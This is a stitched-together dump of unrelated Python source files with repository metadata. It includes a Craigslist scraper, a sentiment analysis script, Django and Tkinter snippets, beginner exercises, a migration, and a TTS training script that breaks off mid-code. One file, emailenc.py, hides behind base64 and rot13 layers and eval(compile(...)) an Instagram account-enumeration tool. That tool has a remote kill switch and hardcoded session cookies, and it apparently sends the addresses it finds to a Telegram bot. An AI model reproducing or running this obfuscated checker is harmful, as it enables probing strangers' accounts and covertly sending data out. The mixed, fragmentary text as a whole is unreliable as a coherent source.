from scrapy.contrib.spiders import CrawlSpider, Rule from scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor from scrapy.selector import HtmlXPathSelector from craigslist_sample.items import CraigslistSampleItem class CraigslistSpider(CrawlSpider): name = "craigslist" allowed_domains = ["craigslist.org"] start_urls = [ "http://bn.craigslist.org", "http://bn.craigslist.org/cas/", "http://bn.craigslist.org/cas/index100.html", "http://bn.craigslist.org/cas/index200.html", "http://bn.craigslist.org/cas/index300.html", "http://bn.craigslist.org/cas/index400.html", "http://bn.craigslist.org/cas/index500.html", "http://bn.craigslist.org/cas/index600.html", "http://bn.craigslist.org/cas/index700.html", "http://bn.craigslist.org/cas/index800.html", "http://bn.craigslist.org/cas/index900.html", "http://bn.craigslist.org/cas/index1000.html", "http://bn.craigslist.org/cas/index1100.html", "http://bn.craigslist.org/cas/index1200.html", "http://bn.craigslist.org/cas/index1300.html", "http://bn.craigslist.org/cas/index1400.html", "http://bn.craigslist.org/cas/index1500.html", "http://bn.craigslist.org/cas/index1600.html", "http://bn.craigslist.org/cas/index1700.html", "http://bn.craigslist.org/cas/index1800.html", "http://bn.craigslist.org/cas/index1900.html", "http://bn.craigslist.org/cas/index2000.html", "http://bn.craigslist.org/cas/index2100.html", "http://bn.craigslist.org/cas/index2200.html", "http://bn.craigslist.org/cas/index2300.html", "http://bn.craigslist.org/cas/index2400.html", "http://bn.craigslist.org/cas/index2500.html", "http://bn.craigslist.org/cas/index2600.html", "http://bn.craigslist.org/cas/index2700.html", "http://bn.craigslist.org/cas/index2800.html", "http://bn.craigslist.org/cas/index2900.html", "http://bn.craigslist.org/cas/index3000.html", "http://bn.craigslist.org/cas/index3100.html", "http://bn.craigslist.org/cas/index3200.html", "http://bn.craigslist.org/cas/index3300.html", "http://bn.craigslist.org/cas/index3400.html", "http://bn.craigslist.org/cas/index3500.html", "http://bn.craigslist.org/cas/index3600.html", "http://bn.craigslist.org/cas/index3700.html", "http://bn.craigslist.org/cas/index3800.html", "http://bn.craigslist.org/cas/index3900.html", "http://bn.craigslist.org/cas/index4000.html", "http://bn.craigslist.org/cas/index4100.html", "http://bn.craigslist.org/cas/index4200.html", "http://bn.craigslist.org/cas/index4300.html", "http://bn.craigslist.org/cas/index4400.html", "http://bn.craigslist.org/cas/index4500.html", "http://bn.craigslist.org/cas/index4600.html", "http://bn.craigslist.org/cas/index4700.html", "http://bn.craigslist.org/cas/index4800.html", "http://bn.craigslist.org/cas/index4900.html", "http://bn.craigslist.org/cas/index5000.html", "http://bn.craigslist.org/cas/index5100.html", "http://bn.craigslist.org/cas/index5200.html", "http://bn.craigslist.org/cas/index5300.html", "http://bn.craigslist.org/cas/index5400.html", "http://bn.craigslist.org/cas/index5500.html", "http://bn.craigslist.org/cas/index5600.html", "http://bn.craigslist.org/cas/index5700.html", "http://bn.craigslist.org/cas/index5800.html", "http://bn.craigslist.org/cas/index5900.html", "http://bn.craigslist.org/cas/index6000.html", "http://bn.craigslist.org/cas/index6100.html", "http://bn.craigslist.org/cas/index6200.html", "http://bn.craigslist.org/cas/index6300.html", "http://bn.craigslist.org/cas/index6400.html", "http://bn.craigslist.org/cas/index6500.html", "http://bn.craigslist.org/cas/index6600.html", "http://bn.craigslist.org/cas/index6700.html", "http://bn.craigslist.org/cas/index6800.html", "http://bn.craigslist.org/cas/index6900.html", "http://bn.craigslist.org/cas/index7000.html", "http://bn.craigslist.org/cas/index7100.html", "http://bn.craigslist.org/cas/index7200.html", "http://bn.craigslist.org/cas/index7300.html", "http://bn.craigslist.org/cas/index7400.html", "http://bn.craigslist.org/cas/index7500.html", "http://bn.craigslist.org/cas/index7600.html", "http://bn.craigslist.org/cas/index7700.html", "http://bn.craigslist.org/cas/index7800.html", "http://bn.craigslist.org/cas/index7900.html", "http://bn.craigslist.org/cas/index8000.html", "http://bn.craigslist.org/cas/index8100.html", "http://bn.craigslist.org/cas/index8200.html", "http://bn.craigslist.org/cas/index8300.html", "http://bn.craigslist.org/cas/index8400.html", "http://bn.craigslist.org/cas/index8500.html", "http://bn.craigslist.org/cas/index8600.html", "http://bn.craigslist.org/cas/index8700.html", "http://bn.craigslist.org/cas/index8800.html", "http://bn.craigslist.org/cas/index8900.html", "http://bn.craigslist.org/cas/index9000.html", "http://bn.craigslist.org/cas/index9100.html", "http://bn.craigslist.org/cas/index9200.html", "http://bn.craigslist.org/cas/index9300.html", "http://bn.craigslist.org/cas/index9400.html", "http://bn.craigslist.org/cas/index9500.html", "http://bn.craigslist.org/cas/index9600.html", "http://bn.craigslist.org/cas/index9700.html", "http://bn.craigslist.org/cas/index9800.html", "http://bn.craigslist.org/cas/index9900.html" ] rules = (Rule(SgmlLinkExtractor(allow=(),restrict_xpaths=('//a')), callback="parse", follow= True),) def parse(self, response): hxs = HtmlXPathSelector(response) titles = hxs.select("//span[@class='pl']") date_info = hxs.select("//h4[@class='ban']/span[@class='bantext']/text()") items = [] file_to = open("things.txt","a") file_to.write(response.body) for titles in titles: item = CraigslistSampleItem() item ["title"] = titles.select("a/text()").extract() item ["link"] = titles.select("a/@href").extract() item ["date"] = date_info.extract() items.append(item) return items
0d9d68e345edd4103b78f052150f71d45a5a2562
2c8dd8f7d5e33794a4b5c14ba5f9b065c06853c8
/instagram_analysis/sentiment_analysis.py
7d26b2f473315eb92a20e3c54be589962448fc54
[]
no_license
ritkulk/myprojects
41e811b82fb7d731bb9fcf1eb405349aa9f2b4cc
b9ad8c640aa0ee3846c76b4158da25ddca7b8e6f
refs/heads/master
2023-03-31T05:35:07.282618
2022-02-19T13:39:39
2022-02-19T13:39:39
82,113,251
0
0
null
2023-03-24T23:58:14
2017-02-15T22:27:59
Python
UTF-8
Python
false
false
3,465
py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu Nov 8 19:10:54 2018 Implementation of a sentiment analysis model. The model used here has been trained on IMDB sentiment data and the best performing model on the test set is saved and used here. @author: rtwik """ import pandas as pd import _pickle import os from keras.models import load_model from keras.preprocessing import sequence from insta_word_freq import preprocess import numpy from sklearn.metrics import precision_recall_fscore_support def get_mertrics(targets, predictions, upper_bound, lower_bound): '''calculates precision, recall, fscore. labels = [], defines the desired labels and their order to retuern''' predicitons[predicitons > upper_bound] = 1 predicitons[predicitons < lower_bound] = 0 predicitons[(predicitons >= lower_bound) & (predicitons <= upper_bound)] = 2 precision, recall, fscore, support = precision_recall_fscore_support( targets, predicitons, labels=[1,0,2]) return numpy.hstack([precision.reshape([3, 1]), recall.reshape([3, 1]), fscore.reshape([3, 1])]) CURRENT_DIR = os.getcwd() DATA_DIR = CURRENT_DIR + '/data/' MODELS_DIR = CURRENT_DIR + '/models/' MODEL_FILENAME = 'sentiment_basic.h5' # saved model trained on IMDB data TAGGED_FILENAME = 'NLPtask_manual_classification1.csv' DATA_FILENAME = 'NLPTask_Instagram_dataset.csv' WORD_INDEX_FILENAME = 'word_index' # _pickle file containing map of word to id for trained IMDB model col_label = 'text' def vectorise_text(sent, PROC): '''transform text into vectors for the model''' words = PROC.alphanumeric_and_split_text(sent) vec = numpy.array([word_index[word] if word in word_index else 0 for word in words]) vec = sequence.pad_sequences([vec], maxlen=500) return vec data_tagged = pd.read_csv(DATA_DIR + TAGGED_FILENAME) data_tagged = data_tagged[data_tagged['Sentiment'] != 'Other'] with open(DATA_DIR + WORD_INDEX_FILENAME, 'rb') as f: word_index = _pickle.load(f) model = load_model(MODELS_DIR + MODEL_FILENAME) PROC = preprocess() gram_num = 1 # calculate the overlap between model vocab and data vocab freq = PROC.calculate_word_freq(data_tagged, col_label, gram_num ) vocab = set([w for w in freq]) vocab_train = set([w for w in word_index]) common_vocab = len(vocab.intersection(vocab_train))/len(vocab) print('{} % of vocab in common'.format(common_vocab*100)) inputs = [] for sent in data_tagged[col_label]: inputs.append(vectorise_text(sent, PROC)) predicitons = model.predict(numpy.vstack(inputs)) # gets predictions for inputs print(numpy.max(predicitons), numpy.min(predicitons), numpy.mean(predicitons), numpy.std(predicitons)) senti_labels = set(data_tagged['Sentiment']) senti_to_id = {'Positive': 1, 'Neutral': 2, 'Negative': 0} targets = list(data_tagged['Sentiment'].apply(lambda x: senti_to_id[x])) results = get_mertrics(targets,predicitons,0.7, 0.1) data_insta = pd.read_csv(DATA_DIR + DATA_FILENAME, error_bad_lines=False) data_insta = data_insta.dropna() sent_class = [] for sent in data_insta[col_label][:500]: vec = vectorise_text(sent, PROC) p = model.predict(vec) if p > 0.7: sentiment = 1 elif p < 0.1: sentiment = 0 else: sentiment = 2 sent_class.append([sent, sentiment]) sent_class = pd.DataFrame(sent_class)
1e4213aac33ad0743b8cb08489ebc3648ebe36e7
12b9f6b08ace058fafb8ada51a7747434065cfff
/manage.py
ac789c59102180f79efd24581edf2302ca4bb692
[]
no_license
yunisuthn/python-solumada-API-1
83d484ec2aa48ee23dabd2eecbbcb219ccffcc5d
bc20d7ce9aa3d9fff049e6dd690ec8ed299cd532
refs/heads/main
2023-08-07T20:36:20.554285
2021-08-27T05:08:07
2021-08-27T05:08:07
400,169,171
0
0
null
null
null
null
UTF-8
Python
false
false
663
py
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): """Run administrative tasks.""" os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'app_pdf.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) from exc execute_from_command_line(sys.argv) if __name__ == '__main__': main()
cbefcfb03d52e7211ea14c7659e4667db51c9242
5b0cd5330bcb73faee8d55802f131a7e452b12c4
/Exercise5_2_Tanit_S.py
68c3699118abb08b3f6fa3904c097b50240a4a0f
[]
no_license
sutirangt/CP3-Tanit-Suthirangkoon
113b1f4877f6717918163b4bb09cab4b3ee99384
06afdf4dbd9a36ac8a7dfa00190c162cd6fa0c1f
refs/heads/main
2023-01-01T19:39:41.064406
2020-10-19T09:44:27
2020-10-19T09:44:27
303,585,036
0
0
null
null
null
null
UTF-8
Python
false
false
122
py
distance = int(input("Input Distant (km):")) time = int(input("Input Time Used (hour):")) print(int(distance/time),"km/h")
5fa3c9d9bb0d62ebb1c3fba841f5fde8baeb38ba
f0d713996eb095bcdc701f3fab0a8110b8541cbb
/tDswMNY7X9h7tyTS4_22.py
cf345fc278bf3cb0fa4a9810e75fe0ead3c22a1a
[]
no_license
daniel-reich/turbo-robot
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
a7a25c63097674c0a81675eed7e6b763785f1c41
refs/heads/main
2023-03-26T01:55:14.210264
2021-03-23T16:08:01
2021-03-23T16:08:01
350,773,815
0
0
null
null
null
null
UTF-8
Python
false
false
1,116
py
""" **Mubashir** was reading about [Pascal's triangle](https://en.wikipedia.org/wiki/Pascal's_triangle) on Wikipedia. In mathematics, Pascal's triangle is a triangular array of the binomial coefficients that arises in probability theory, combinatorics, and algebra. ![Mubashir](https://edabit- challenges.s3.amazonaws.com/PascalTriangleAnimated2.gif) Formula for Pascal's triangle is given by: ![Mubashir](https://edabit-challenges.s3.amazonaws.com/jbderjvbv.png) where `n` denotes a row of the triangle, and `k` is the position of a term in the row. Create a function which takes a number `n` and returns **n top rows** of Pascal's Triangle flattened into a one-dimensional list. ### Examples pascals_triangle(1) ➞ [1] pascals_triangle(2) ➞ [1, 1, 1] pascals_triangle(4) ➞ [1, 1, 1, 1, 2, 1, 1, 3, 3, 1] ### Notes N/A """ import math def pascals_triangle(n): triangle = [] for row in range(n): new_row = [] for k in range(row+1): new_row.append(math.factorial(row)//(math.factorial(k)*math.factorial(row-k))) triangle += new_row return triangle
2184c58dcae4095f6af0ca02c564fa838a35d70e
9c7c258c011b0530f8dea67073b075c86783b323
/aco/main.py
3be0bf0f75b3d0d2d7b13458061773fb2b8cc8fe
[]
no_license
anythingmapping/cloud9
d2ad75640fa4958e554bddef3eb0051bd553f212
36f8bb8118aa4ffe74067b3435e251d5d5aa2f72
refs/heads/master
2020-04-01T15:13:20.241006
2017-10-10T00:35:24
2017-10-10T00:35:24
45,075,094
0
0
null
null
null
null
UTF-8
Python
false
false
476
py
import time from FixedAsset import FixedAssets def main(): print "step" streetBinsClassInstance = FixedAssets() print "step2" streetBinsClassInstance.generateToken() print "step3" streetBinsClassInstance.resetFixedAsset() dayInt = time.strftime("%w") print "Setting the next day using {0} value".format(dayInt) streetBinsClassInstance.prepDay(dayInt) print("helloWorld - well done") if __name__ == "__main__": main()
c0f17e5920d5998d79cec7577ec22356755f532d
a476eb25d5c9d0a209c615c96615d2e5bdccdf79
/emailenc.py
10c8c2b8e1ce0823f78effaebea95078811e60b8
[]
no_license
danyarcode/Safeteam
604bc7505c9ab560defaa091a20e80fa6ab1f484
2fb106bd81a72753be3837a3b4da3ddec44154f2
refs/heads/main
2023-06-09T20:20:29.950196
2021-07-09T06:02:09
2021-07-09T06:02:09
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,723
py
import base64, codecs magic = 'aW1wb3J0IHJlcXVlc3RzCmFjdGl2ZSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly90ZXh0dXBsb2FkZXIuY29tL3RzNzFiL3JhdycpLnRleHQKaWYgJ0FuaScgaW4gYWN0aXZlOgoJcGFzcwplbHNlOgoJcHJpbnQoIlNvcnJ5IFRoaXMgVG9vbCBJcyBOb3QgV29ya2luZyBOb3cgUGxlYXMgU2VuZCBNZWFzc2FnZSBGb3IgQGFuaS5jb2RlciAoOiIpCglleGl0KCkKaW1wb3J0IG9zLHJhbmRvbQppbXBvcnQgdGltZQp1cmxfaW5zdGE9J2h0dHBzOi8vd3d3Lmluc3RhZ3JhbS5jb20vYWNjb3VudHMvbG9naW4vYWpheC8nCmhlYWRfaW5zdGE9ewogICAgICAgICAgICAnYXV0aG9yaXR5JzogJ3d3dy5pbnN0YWdyYW0uY29tJywKICAgICAgICAgICAgJ21ldGhvZCc6ICdQT1NUJywKICAgICAgICAgICAgJ3BhdGgnOiAnL2FjY291bnRzL2xvZ2luL2FqYXgvJywKICAgICAgICAgICAgJ3NjaGVtZSc6ICdodHRwcycsCiAgICAgICAgICAgICdhY2NlcHQnOiAnKi8qJywKICAgICAgICAgICAgJ2FjY2VwdC1lbmNvZGluZyc6ICdnemlwLCBkZWZsYXRlLCBicicsCiAgICAgICAgICAgICdhY2NlcHQtbGFuZ3VhZ2UnOiAnZW4tVVMsZW47cT0wLjksYXI7cT0wLjgsZW4tR0I7cT0wLjcnLAogICAgICAgICAgICAnY29udGVudC1sZW5ndGgnOiAnMjc3JywKICAgICAgICAgICAgJ2NvbnRlbnQtdHlwZSc6ICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnLAogICAgICAgICAgICdjb29raWUnOiAnaWdfZGlkPUQ5QUQ1NUZGLUQ0MEYtNDU2OS04RjNELTcyOTIzRDZCNDk2RDsgbWlkPVgtb01Yd0FFQUFGc0dQLVZCX0tydlROanFwTVY7IGlnX25yY2I9MTsgZGF0cj1sYnp0WC1Rd0FUOXVNNnV6TERXemJnb2Y7IGZibV8xMjQwMjQ1NzQyODc0MTQ9YmFzZV9kb21haW49Lmluc3RhZ3JhbS5jb207IGRzX3VzZXJfaWQ9NDUyNDY3MjUzODU7IGNzcmZ0b2tlbj11MjdsMnNrWHhYUzNzbU55WWg3YllRN0daZUMzOXpxNScsCiAgICAgICAgICAgJ29yaWdp' love = 'ovp6VPqbqUEjpmbiY3q3ql5coaA0LJqlLJ0hL29gWljXVPNtVPNtVPNtVPNapzIzMKWypvp6VPqbqUEjpmbiY3q3ql5coaA0LJqlLJ0hL29gY2SwL291oaEmY2kiM2yhYlpfPvNtVPNtVPNtVPNtW3AyLl1zMKEwnP1xMKA0WmbtW2IgpUE5WljXVPNtVPNtVPNtVPNap2IwYJMyqTAbYJ1iMTHaBvNaL29lplpfPvNtVPNtVPNtVPNtW3AyLl1zMKEwnP1mnKEyWmbtW3AuoJHgo3WcM2yhWljXVPNtVPNtVPNtVPNaqKAypv1uM2IhqPp6VPqAo3ccoTkuYmHhZPNbI2yhMT93plOBIPN2YwZ7VSqcowL0BlO4AwDcVRSjpTkyI2IvF2y0YmHmAl4mAvNbF0uHGHjfVTkcn2HtE2Iwn28cVRAbpz9gMF84BP4jYwDmZwDhZGN0VSAuMzSlnF81ZmphZmLaYNbtVPNtVPNtVPNtVPq4YJAmpzM0o2gyovp6VPq1ZwqfZaAeJUuLHmAmoH55JJt3LyyEA0qnMHZmBKckAFpfPvNtVPNtVPNtVPNtW3tgnJpgLKOjYJyxWmbtWmxmAwLkBGp0ZmZ5ZwD1BFpfPvNtVPNtVPNtVPNtW3tgnJpgq3q3YJAfLJygWmbtWmNaYNbtVPNtVPNtVPNtVPq4YJyhp3EuM3WuoF1unzS4WmbtWmquZ2RmMGL0MzR4AlpfPvNtVPNtVPNtVPNtW3tgpzIkqJImqTIxYKqcqTtaBvNaJR1ZFUE0pSWypKIyp3DaPa0XoT9aolN9VPpaWjbtK19sVPNtVPOsK19sVPOsK19sVPNtK18tK18tVPOsK19sVPOsK19sVPNXsPNtVSjtVPNiVPNtVSE8VPNtVSjtsPNtIPNtIPNiVPNtVSE8VPNtVSjtPajtVPNtKPOMVPOiVPO8sPNtKlNtJKjtVUjtVUkMVPOiVPO8sPNtEPNtXDc8VPORVPOMsPNtVPNtsUjtVUjtVUk8VPO+VPO8sPNtVPNtsUjtVPNtYlNXsPNtVPNtsUjtVS8tVUk8VPO8VPO8oS9sKljtsUjtVS8tVUk8VPNtVSjtPajtVPNtVUk8VPO8VPO8sPNtsPNtsUjtVPNtVPS8VPO8VPO8sPNtYvNtJDcfK19sK19doS9sny9snzksK2csK2cfK19sKl8toS9sny9snzksK2cpK2bXGKxtFJ5mqTSapzSgVQbtMQEhrGElptbXYF0gYF0gYF0gYF0gYF0gYF0gYF0gYF0gYF0gYF0gYF0gPvNtVPNtVPNtVPNtVPNtVPNt' god = 'ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnJycKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKZGVmIGVtYWlsKCk6Cglvcy5zeXN0ZW0oImNsZWFyIikKCWZpbGVyID0gb3BlbigiZW1haWwudHh0IiwidyIpCglwcmludChsb2dvKQoJbmFtZV9yYW5kb209aW5wdXQoIk5hbWUgUmFuZG9tIDoiKQoJZm9yIHggaW4gcmFuZ2UoMTUwKToKCQlmID0gJzEyMzQ1Njc4OTAnCgkJeDEgPSByYW5kb20uY2hvaWNlKGYpCgkJeDEyID0gcmFuZG9tLmNob2ljZShmKQoJCXgxMjMgPSByYW5kb20uY2hvaWNlKGYpCgkJeDEyMzQgPSByYW5kb20uY2hvaWNlKGYpCgkJYWxsID0gbmFtZV9yYW5kb20reDEreDEyK3gxMjMreDEyMzQrJ0B5YWhvby5jb20nCgkJdGltZWUgPSBhbGwrIlxuIgoJCWZpbGVyLndyaXRlKHRpbWVlKQoJdGltZS5zbGVlcCgzKQoJcHJpbnQoIlxuXG4iKQoJcHJpbnQoIk5PVyBZT1UgSEFWRSBFTUFJTCBKVVNUIEdJVkUgTUUgVElNRSAoOiIpCgl0aW1lLnNsZWVwKDQpCiNFTUFJTCBUQVdBVyBCVyBTQVJBWSBDSEVDS0VSIGluc3RheWEgCiNlbWFpbCgpCmRlZiBpbnN0YWdyYW0oKToKCXVzZT0wCglub3R1c2U9MAoJb3Muc3lzdGVtKCJjbGVhciIpCglwcmludChsb2dvKQoJZmlsZXIgPSBvcGVuKCJlbWFpbGluc3RhLnR4dCIsInciKQoJZmlsdGVyID0gb3BlbigiZW1haWwudHh0IiwiciIpLnJlYWRsaW5lcygpCglmb3IgeiBpbiBmaWx0ZXI6CgkJenogPSB6LnN0cmlwKCkKCQlnbG9iYWwgdXJsX2luc3RhCgkJZ2xvYmFsIGhlYWRfaW5zdGEKCQlkYXRhID0gewogICAgJ3VzZXJuYW1lJzogenosCiAgICAnZW5jX3Bhc3N3b3JkJzogJyNQV0RfSU5TVEFHUkFNX0JST1dTRVI6MDoxNjEzMjEyNzI1OnNqcycsCiAgICAncXVlcnlQYXJhbXMnOiAne30nLAogICAgJ29wdEludG9PbmVUYXAnOiAnZmFsc2UnCgkJfQoJCXJlc3QgPSByZXF1' destiny = 'MKA0pl5jo3A0XUIloS9coaA0LFkbMJSxMKWmCJuyLJEsnJ5mqTRfMTS0LG1xLKEuXF50MKu0PtxWV3OlnJ50XUWyp3DcPtxWnJLtWlW1p2IlVwc0paIyWlOcovOlMKA0BtbWPDyipl5mrKA0MJ0bVzAfMJSlVvxXPDxWpUWcoaDboT9aolxXPDxWqKAyXm0kPtxWPKOlnJ50XPWSGHSWGPOZFH5YEHDtFH5GIRSUHxSAVQbtr30vYzMipz1uqPu1p2HcXDbWPDyjpzyhqPtvGx9HVRkWGxgSEPN6VUg9Vv5zo3WgLKDboz90qKAyXFxXPDxWMzyfMKVhq3WcqTHbrabeVykhVvxXPDxWp2IhMS90MKu0VQ0tW2u0qUOmBv8iLKOcYaEyoTIapzSgYz9lMl9vo3DkAwNlZwtlZQLjBxSOEGyXEQEvA3cTFUc4GTgJJII6oTykH1IUox9xFR1jAQEAY3AyozEAMKAmLJqyC2AbLKEsnJD9ZGLkAGZ0Amt1ZvMjLKWmMI9go2EyCH1upzgxo3qhWaEyrUD9Wlg6rtbWPDybq2xtCFOlMKS1MKA0pl5aMKDbp2IhMS90MKu0XDbWPJIfp2H6PtxWPDbWPDyipl5mrKA0MJ0bVzAfMJSlVvxXPDxWpUWcoaDboT9aolxXPDxWoz90qKAyXm0kPtxWPKOlnJ50XPWSGHSWGPOZFH5YEHDtFH5GIRSUHxSAVQbtr30vYzMipz1uqPu1p2HcXDbWPDyjpzyhqPtvGx9HVRkWGxgSEPN6VUg9Vv5zo3WgLKDboz90qKAyXFxXPDxXPDxXPDxXV2yhp3EuM3WuoFtcPtxWPzEyMvOwMJ1unJjbXGbXPDyipl5mrKA0MJ0bVzAfMJSlVvxXPDyjpzyhqPufo2qiXDbWPJMcoUEypvN9VT9jMJ4bVzIgLJyfnJ5mqTRhqUu0VvjvpvVcYaWyLJEfnJ5ypltcPtxWMz9lVUu4VTyhVTMcoUEypwbXPDxWqTygMF5moTIypPt4XDbWPDy4VQ14rP5mqUWcpPtcPtxWPKIloPN9VPqbqUEjpmbiY2EuozqypaA5qJ15qJ0hZQNjq2IvnT9mqTSjpP5wo20iLKOcYaObpQ9yoJScoQ0aX3tXPDxWpzImpT9hMFN9VUWypKIyp3EmYzqyqPu1pzjcPtxWPJyzVPqRFHHaVTyhVUWyp3OiozHhqTI4qQbXPDxWPKOlnJ50XPWSGHSWGPN6VPVerPxXPDxWMJkmMGbXPDxWPKOup3ZXPDxWPzIgLJyfXPxXnJ5mqTSapzSgXPxXPtxWPtxWPt==' joy = '\x72\x6f\x74\x31\x33' trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29') eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))
f0bf160a300f77e8fdc951413511336a4aa17998
954e031b1b90fcabc12b5d448d46689d3bf03a74
/chimps/urls.py
881cdbb970258bbc8d6b0bab6a0f8de7328e158f
[]
no_license
simonluijk/django-chimps
2d179c9245b701f3d0aebe03e78a9429ae490c90
2a9b173731fd77254870961f21ad639561fb7370
refs/heads/master
2016-09-05T09:47:17.688551
2013-11-26T18:42:41
2013-11-26T18:42:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
368
py
from django.conf.urls import patterns, url from django.views.generic import TemplateView from .views import SubscribeView urlpatterns = patterns('', url(r'^subscribe/$', SubscribeView.as_view(), name='chimps_subscribe'), url(r'^subscribed/$', TemplateView.as_view(template_name='chimps/subscribed.html'), name='chimps_subscribed'), )
83d74f8cbba877363cd5dfb9bf66ba4ea0f34130
fe799557e9d9cd46cc3225ed4e81696cfe77b0d5
/App's/forget-label-pack.py
2c0313342428616e496d37fb7e24495c043a5562
[]
no_license
StarCoder09/PythonTkinter
f7da79c3156f3f24c3cc79c7f33b8310d8972d41
ddc0658b14b89b6091f61a1f54ed4e0c87f236ea
refs/heads/main
2023-06-12T01:52:39.253818
2021-07-09T06:43:41
2021-07-09T06:43:41
384,344,500
0
0
null
null
null
null
UTF-8
Python
false
false
903
py
''' This App is to Illustrate the use of .pack_forget() in Tkinter ''' #Package from tkinter import * root = Tk() root.title('...') root.iconbitmap("D:/e-Learning/Tkinter/Images/India-flag.ico") root.geometry("400x400") def myDelete(): #myLabel.pack_forget() myLabel.destroy() myButton['state'] = NORMAL #print(myButton.winfo_exists()) DeleteButton['state'] = DISABLED def myClick(): global myLabel hello = "Hello " + e.get() myLabel = Label(root, text=hello) e.delete(0, 'end') myLabel.pack(pady=10) myButton['state'] = DISABLED DeleteButton['state'] = NORMAL e = Entry(root, width=50, font=('Helvetica', 30)) e.pack(padx=10, pady=10) myButton = Button(root, text="Enter Your Name", command=myClick) myButton.pack(pady=10) DeleteButton = Button(root, text="Delete Text", command=myDelete) DeleteButton.pack(pady=10) #event handler root.mainloop()
f2377a4845beffb3ebf84211af93aa6acdb25762
54a031176ee0b1101126a2e4af06d6b6a77cdc4c
/migrations/versions/4f09bf9700df_.py
d4ee41216748d8c86fc32776fd3a485b381f4188
[]
no_license
jsheridanwells/flask-commenting-api
591564546c7dc30d9215be0494a2cbc7cea324e0
3329afa5e36d7808cb6fabe1368000cc20171d2b
refs/heads/master
2020-05-16T01:08:19.267657
2019-04-25T02:16:12
2019-04-25T02:16:12
182,596,170
0
0
null
null
null
null
UTF-8
Python
false
false
1,237
py
"""empty message Revision ID: 4f09bf9700df Revises: Create Date: 2019-04-21 19:42:28.838405 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '4f09bf9700df' down_revision = None branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.create_table('categories', sa.Column('id', sa.Integer(), nullable=False), sa.Column('name', sa.String(length=150), nullable=False), sa.PrimaryKeyConstraint('id'), sa.UniqueConstraint('name') ) op.create_table('comments', sa.Column('id', sa.Integer(), nullable=False), sa.Column('comment', sa.String(length=250), nullable=False), sa.Column('creation_date', sa.TIMESTAMP(), server_default=sa.text('CURRENT_TIMESTAMP'), nullable=False), sa.Column('category_id', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['category_id'], ['categories.id'], ondelete='CASCADE'), sa.PrimaryKeyConstraint('id') ) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_table('comments') op.drop_table('categories') # ### end Alembic commands ###
8d1e0879923a18a294c104bbdfeb17dc5fd8e53f
ed63c99ccb0beebcfe9bff2ef68e9c86877fa7d8
/synthesizer/train.py
823dcd119ae7f939f68829aa6c221721e8806a3a
[ "MIT" ]
permissive
X-CCS/Real-Time-Voice-Cloning-1
d25588a852b87849f9a517d587a3a36d086bbae0
ae4aa2aa1605168d2f04275e1a45f6de2d88f3f0
refs/heads/master
2022-02-28T03:29:26.135339
2019-10-23T12:01:10
2019-10-23T12:01:10
null
0
0
null
null
null
null
UTF-8
Python
false
false
21,152
py
from synthesizer.utils.symbols import symbols from synthesizer.utils.text import sequence_to_text from synthesizer.hparams import hparams_debug_string from synthesizer.feeder import Feeder from synthesizer.models import create_model from synthesizer.utils import ValueWindow, plot from synthesizer import infolog, audio from datetime import datetime from tqdm import tqdm import tensorflow as tf import numpy as np import traceback import time import os log = infolog.log def add_embedding_stats(summary_writer, embedding_names, paths_to_meta, checkpoint_path): # Create tensorboard projector config = tf.contrib.tensorboard.plugins.projector.ProjectorConfig() config.model_checkpoint_path = checkpoint_path for embedding_name, path_to_meta in zip(embedding_names, paths_to_meta): # Initialize config embedding = config.embeddings.add() # Specifiy the embedding variable and the metadata embedding.tensor_name = embedding_name embedding.metadata_path = path_to_meta # Project the embeddings to space dimensions for visualization tf.contrib.tensorboard.plugins.projector.visualize_embeddings(summary_writer, config) def add_train_stats(model, hparams): with tf.variable_scope("stats"): for i in range(hparams.tacotron_num_gpus): tf.summary.histogram("mel_outputs %d" % i, model.tower_mel_outputs[i]) tf.summary.histogram("mel_targets %d" % i, model.tower_mel_targets[i]) tf.summary.scalar("before_loss", model.before_loss) tf.summary.scalar("after_loss", model.after_loss) if hparams.predict_linear: tf.summary.scalar("linear_loss", model.linear_loss) for i in range(hparams.tacotron_num_gpus): tf.summary.histogram("mel_outputs %d" % i, model.tower_linear_outputs[i]) tf.summary.histogram("mel_targets %d" % i, model.tower_linear_targets[i]) tf.summary.scalar("regularization_loss", model.regularization_loss) tf.summary.scalar("stop_token_loss", model.stop_token_loss) tf.summary.scalar("loss", model.loss) tf.summary.scalar("learning_rate", model.learning_rate) # Control learning rate decay speed if hparams.tacotron_teacher_forcing_mode == "scheduled": tf.summary.scalar("teacher_forcing_ratio", model.ratio) # Control teacher forcing # ratio decay when mode = "scheduled" gradient_norms = [tf.norm(grad) for grad in model.gradients] tf.summary.histogram("gradient_norm", gradient_norms) tf.summary.scalar("max_gradient_norm", tf.reduce_max(gradient_norms)) # visualize # gradients (in case of explosion) return tf.summary.merge_all() def add_eval_stats(summary_writer, step, linear_loss, before_loss, after_loss, stop_token_loss, loss): values = [ 